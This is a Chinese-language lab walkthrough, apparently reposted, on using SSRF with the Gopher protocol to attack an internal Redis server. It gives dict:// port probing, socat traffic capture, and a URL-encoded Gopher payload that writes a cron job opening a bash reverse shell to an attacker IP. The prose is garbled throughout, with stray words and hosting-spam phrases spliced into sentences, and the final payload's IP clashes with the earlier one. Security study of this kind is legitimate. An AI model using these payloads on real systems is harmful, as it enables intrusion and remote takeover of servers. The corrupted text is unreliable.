| Gopher协议 Gopher协议是协议一种通信协议 ，用于在Internet 协议网络中分发 、应用搜索和检索文档。协议Gopher 协议和用户界面的应用设计是菜单驱动的 ，并在早期阶段提出了万维网的协议替代方案 ，但最终不受欢迎 ，应用让位于HTTP 。协议Gopher 生态系统通常被认为是应用万维网的有效前身 。 Gopher协议的协议格式发起POST请求时 ，模板下载回车换行需要使用%0d%0a代替 ，应用结尾也要加上%0d%0a参数之间的协议&需要进行URL编码参数以_开头 ，否则第一个字符会被吞掉支持Gopher协议的应用环境PHP —write-curlwrappers且PHP版本至少为5.3Java 小于JDK1.7Curl 低版本不支持Perl 支持ASP.NET 小于版本3为什么要使用Gopher协议在思考这个问题的时候我们可以看见这样的答案： Gopher协议支持发出GET 、POST请求：可以先截获get请求包和post请求包，协议在构成符合Gopher协议的应用请求 。Gopher协议是协议SSRF利用中最强大的协议 。 这个答案有问题吗 ？没有问题 。看完这个答案知道为什么要使用Gopher了吗 ？貌似还是不太清楚： 因为他强大所以使用它 ？那我们为什么不可以使用http等 ，服务器租用而且说到底 ，Gopher毕竟是一个已经被淘汰的协议 ，为什么非要使用这个协议，好像并没有这方面的答案 。 到底为什么使用Gopher我总结的话，就一句话 ：支持多种协议且灵活，或者也可以说其没有固定的格式要遵守（这里所谓的格式指的是数据包的格式 ，源码库必须HTTP数据包中必须携带哪些参数） 。 我们做这样一个实验 ，在一台虚拟机上通过nc监视3333端口 ，然后分别通过http协议和gopher协议去访问这个端口 ： http://172.16.12.155:3333/abc那么此时对端收到的是（我们通过curl请求）带有HTTP的请求包格式 ：有可能会说比如说UA什么的完全可以不带，但是GET的请求包头是一定要有的吧 ！
gopher://172.16.12.155:3333/_abc（遵守gopher的格式）。 再来看使用gopher协议收到的高防服务器数据
没有任何的附加数据 。 我们通过抓包再来看一下
我们可以清楚的看见除了前4层的数据和abc外没有任何的额外的数据 。 为什么SSRF中常配合Gopher协议我们以Redis产生的SSRF为例（后面会具体描述） ，由于Gopher传输的数据是没有任何额外数据的 ，这样的好处非常的明显 ，免费模板在我们请求6379端口时 ，除了我们构造的redis格式的数据外 ，将不会产生任何Redis无法识别的额外数据 ，从而可以保证Redis顺利执行我们构造的语句 ，很显然HTTP做不到这一点 。 所以这也提醒了我们 ，Gopher协议除了应用于攻击内网的Redis服务器，还有FTP等等服务器也可以尝试，而且拓展来看Gopher协议甚至可以用来写入一句话 。 实验使用SSRF结合Gopher协议攻击内网的Redis服务器 。建站模板 分析实验目的 我们最终的实验目的是要拿到目标Redis主机的Shell ，要完成这一目标需要多条Redis语句相配合 ，我们当然可以通过Gopher协议一条一条的传递 ，但这样会非常的繁琐 ，所以我们决定现在本地搭建相同版本的Redis服务器 ，并抓包获取到Redis格式的报文，最后直接拼接到Gopher语句中一并传给被攻击服务器即可完成攻击。 版本信息 redis-stack-server-6.2.4-v2.rhel8.x86_64 新版的Redis服务器增加了防御机制 ，未成功 所需工具 redis-cli连接Redis服务器nc接受反弹shellsocat代理转发实验架构 由于内网的Redis服务器，是不出网的（或者说其防火墙限制只有内网的主机可以访问） ，所以我们只能通过一台处于内外网边界的具有SSRF漏洞的主机来访问该Redis服务器 。 由于处于实验环境中 ，我们就通过主机添加防火墙策略来阻止除”内网”限定主机以外访问 ，形成简单的内外隔离 。
此时虽然处于同一网段 ，但我们在Redis服务器上添加了如下策略 ： 复制firewall-cmd --add-rich-rule=rule family=ipv4 source address=172.16.12.151 port port=6379 protocol=tcp accept1.
从而禁止除172.16.12.151服务器以外其他服务器访问的请求 ，这样就形成了我们简单的内网的概念。 实验的步骤对目标主机的探测 首先我们要对这台存在着SSRF漏洞的主机进行探测 ，首先看其URL的组成 ： http://172.16.12.151:89/ssrf.php?url= 通过拼接www.baidu.com发现其可以正常访问百度 ，所以怀疑此处出现SSRF漏洞 ，接下来尝试其能不能访问内网的主机 。 为了探测主机哪些端口开放 ，我们尝试用Burp通过不断改变端口值 ，来进行一个简单的探测 ，在这之前我先拼接了一下： http://172.16.12.151:89/ssrf.php?url=172.16.12.136:80 并没有任何回显 ，所以为了准确的验证我们访问的端口是否开启 ，决定使用 dict协议 。 dict协议又称在线网络字典协议 。通过 dict协议 ，可以远程访问一个指定的 TCP 端口，并且会返回端口所提供的服务的部分组件信息当目标端口开放（有服务信息显示 ，但会报错） 。 接下来通过Burp的Intruder模块来验证一些基本端口服务是否开放。
可以看出目标主机的6379``22号端口是开放的 。
有了该信息就可以开始利用该漏洞啦 。 本地捕获攻击流量 由于对端是6379端口也就是redis服务的端口 ，所以我们接下来向该端口传输的数据必须是redis规定的格式 ，这时候我们可以查找redis报文格式的文档构造其报文，但那样过于繁琐，所以我们直接在本地另外一台服务器上搭建redis服务** ，通过在本地连接这台redis服务器 ，并向其发送攻击时所要发送的redis命令从而获取其流量报文 ，最终再配合Gopher协议完成传输即可 。 可成功访问我们自己搭建的redis服务器 自己搭建的redis服务器IP ：172.16.12.155
接下来 ，在本地KALI机上为了准确的获取redis的流量报文，我们使用socat对流量进行代理转发 socat -v tcp-listen:6379,fork tcp-connect:172.16.12.155:6379
大功告成 ，接下来我们只要redis-cli -h localhost就可以让连接172.16.12.155:6379流量走本地的代理啦 。
反弹shell 我们最终的目的是反弹一个目标主机的shell到我们本地 ，我们可以将下面的语句写入到目标主机的cron中从而加入计划任务，定时反连本主机 bash -i >&/dev/tcp/172.16.12.150/3333 0>&1 为了完成该目的我们需要做两个准备 ： 1.在本地开启监听端口3333
2.利用上面搭建的本地redis环境将攻击需要的redis指令流量捕获并通过Gopher协议发给有SSRF漏洞的主机从而穿透发给我们要反弹shell的那台内网主机 。为了在目标主机的cron中写入计划任务 ，需要以下redis命令： 复制flushall # 设置键值对 key-value set deu "bash -i >&/dev/tcp/172.16.12.150/3333 0>&1"# 设置工作目录 config set dir /var/spool/cron # 设置保存文件的名字 config setdbfilename root # 保存，将缓冲区内容写入到 root 文件中 save1.2.3.4.5.6.7.8.9.10.11.12.13.
然后转到socat的界面 ，我们就获得了redis数据包流量。
由于Gopher及URL编码等一些格式的限制 ，我们需要对上述报文进行一定的处理，最终转为 ： 复制*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adeu%0D%0A$42%0D%0Abash -i >&/dev/tcp/176.12.16.150/3333 0>&1%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/var/spool/cron/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$4%0D%0Aroot%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A1.可借助 python 脚本实现 。
* 去掉> <后的一些时间 、长度等描述信息 。
至此流量捕获完毕 ，我们就可以通过URL直接发给存在SSRF的主机了。 反弹成功
|
